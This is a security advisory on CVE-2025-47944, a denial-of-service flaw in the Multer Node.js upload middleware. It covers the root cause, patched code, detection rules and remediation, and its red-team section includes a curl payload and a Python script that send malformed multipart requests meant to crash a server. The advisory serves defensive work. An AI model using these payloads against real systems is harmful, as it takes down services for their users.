CVE-2025-47944

Executive Summary

CVE-2025-47944 is a high-severity Denial of Service (DoS) vulnerability in the Multer middleware for Node.js, specifically affecting versions from 1.4.4-lts.1 up to (but not including) 2.0.0. The vulnerability allows an unauthenticated remote attacker to crash the Node.js process by sending a malformed multipart/form-data upload request. This results in an unhandled exception, leading to a complete denial of service. No known workarounds exist; the only mitigation is upgrading to version 2.0.0. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the impact is severe for any application relying on Multer for file uploads.

Supply Chain & Package Security

This vulnerability affects the Multer npm package, a widely used middleware for handling multipart/form-data in Express.js applications. As an open-source dependency, it poses a supply chain risk: any application using a vulnerable version of Multer is susceptible to remote DoS attacks. Organizations must audit their package.json and package-lock.json files to ensure Multer is pinned to version 2.0.0 or later. The lack of a patch for older versions means that legacy applications cannot be secured without upgrading, potentially breaking compatibility with older Node.js runtimes.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – the attack can be launched remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – the vulnerable component is the only one affected.
• Confidentiality (C): None – no data exposure.
• Integrity (I): None – no data modification.
• Availability (A): High – complete loss of service (process crash).

Threat Level: High. Although the EPSS score is currently 0.0%, the ease of exploitation (no authentication, low complexity) and the criticality of file upload functionality in many web applications make this a significant threat. A single malformed request can take down the entire Node.js process, affecting all users.

Deep Dive & Mechanics

The vulnerability resides in Multer's parsing logic for multipart/form-data requests. When a malformed request is sent—specifically one that violates the multipart boundary structure or contains unexpected field types—the internal error handling fails to catch the exception, causing the Node.js process to crash.

Root Cause: In versions prior to 2.0.0, Multer uses a callback-based error handling pattern that does not properly propagate errors from the underlying busboy parser. When busboy encounters an invalid boundary or a truncated part, it emits an error event, but Multer's wrapper does not handle this event correctly, leading to an uncaught exception.

Attack Vector: An attacker sends an HTTP POST request with Content-Type: multipart/form-data and a malformed body. For example:

• Missing or malformed boundary strings.
• Incomplete or overlapping parts.
• Invalid headers within a part (e.g., missing Content-Disposition).

Impact: The Node.js process crashes immediately, causing a denial of service for all users. If the application is behind a load balancer, the crash may be isolated to one instance, but repeated attacks can take down all instances.

Vulnerable vs. Patched Code

Vulnerable Code (Multer < 2.0.0):

// In lib/make-middleware.js (simplified)
busboy.on('error', function(err) {
  // Error is not handled properly; no callback invoked
  // This leads to an uncaught exception
});

Patched Code (Multer 2.0.0):

// In lib/make-middleware.js (simplified)
busboy.on('error', function(err) {
  // Error is now properly caught and passed to the callback
  if (cb) {
    cb(err);
  } else {
    // Fallback: emit error on request
    req.destroy(err);
  }
});

The patch ensures that any error from busboy is either passed to the Multer callback or destroys the request, preventing the process from crashing.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A Node.js Express application using Multer 1.4.4-lts.1.
2. Tooling: curl, netcat, or a custom Python script.

Exploit Payload:

# Malformed multipart request with missing boundary
curl -X POST http://target:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=--" \
  --data-binary $'----\r\nContent-Disposition: form-data; name="file"; filename="test.txt"\r\nContent-Type: text/plain\r\n\r\nHello\r\n----'

Python Exploit Script:

import socket

def send_malformed_request(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    payload = (
        "POST /upload HTTP/1.1\r\n"
        "Host: {}\r\n"
        "Content-Type: multipart/form-data; boundary=--\r\n"
        "Content-Length: 100\r\n"
        "\r\n"
        "----\r\n"
        "Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n"
        "Content-Type: text/plain\r\n"
        "\r\n"
        "Hello\r\n"
        "----"
    ).format(host)
    sock.send(payload.encode())
    response = sock.recv(4096)
    print(response.decode())
    sock.close()

if __name__ == "__main__":
    send_malformed_request("target", 3000)

Expected Outcome: The Node.js process crashes, and subsequent requests return connection refused.

Blue Team (Defensive)

Detection:

• Monitor for HTTP 500 errors or sudden process restarts.
• Look for requests with malformed Content-Type headers or unusual boundary strings.
• Use WAF rules to block requests with missing or malformed multipart boundaries.

Mitigation:

• Immediately upgrade Multer to version 2.0.0.
• If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to validate multipart requests before they reach the Node.js application.
• Deploy a process manager (e.g., PM2) with auto-restart to minimize downtime.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests with Content-Type: multipart/form-data and missing or malformed boundary parameters.
  • Requests with Content-Length values that do not match the actual body size.
  • Repeated 500 Internal Server Error responses followed by connection resets.

• Log IOCs:

  • Node.js crash logs containing uncaughtException or busboy error messages.
  • Application logs showing Error: Multipart: Boundary not found or similar.

• File IOCs:

  • Temporary files in /tmp or upload directories that are incomplete or malformed.

Detection Engineering

YARA Rule

rule CVE_2025_47944_Multer_DoS {
    meta:
        description = "Detects malformed multipart requests targeting Multer DoS"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-47944"
    strings:
        $boundary = /multipart\/form-data; boundary=[^"]{0,2}/ nocase
        $missing_boundary = /multipart\/form-data; boundary=\s*$/ nocase
        $malformed_part = /\r\n--[^\r\n]*\r\nContent-Disposition:/ nocase
    condition:
        any of ($boundary*) or $missing_boundary or $malformed_part
}

Sigma Rule

title: CVE-2025-47944 Multer DoS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with malformed multipart/form-data that may exploit CVE-2025-47944
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-content-type|contains: 'multipart/form-data'
        cs-uri-query|contains: 'boundary='
    filter:
        cs-content-type|re: 'boundary=[a-zA-Z0-9_-]{10,}'
    condition: selection and not filter
falsepositives:
    - Legitimate uploads with very short boundaries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47944 Multer DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"multipart/form-data"; http_header; content:"boundary"; http_header; pcre:"/boundary=[^a-zA-Z0-9_-]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Action:

• Upgrade Multer to version 2.0.0 or later.
• Run npm audit to identify all affected packages.

Short-Term Mitigation (if upgrade is not possible):

• Implement a reverse proxy (e.g., Nginx) to validate multipart requests:

  location /upload {
      if ($content_type !~ "multipart/form-data; boundary=[a-zA-Z0-9_-]{10,}") {
          return 400;
      }
      proxy_pass http://node_app;
  }
  

• Use a Web Application Firewall (WAF) to block malformed requests.
• Deploy a process monitor (e.g., PM2) with auto-restart:

  pm2 start app.js --max-memory-restart 500M --restart-delay 1000
  

Long-Term Fix:

• Update all dependencies to their latest versions.
• Implement input validation for all file upload endpoints.
• Use a middleware that validates multipart boundaries before passing to Multer.

Valters IT
Securing Digital Frontiers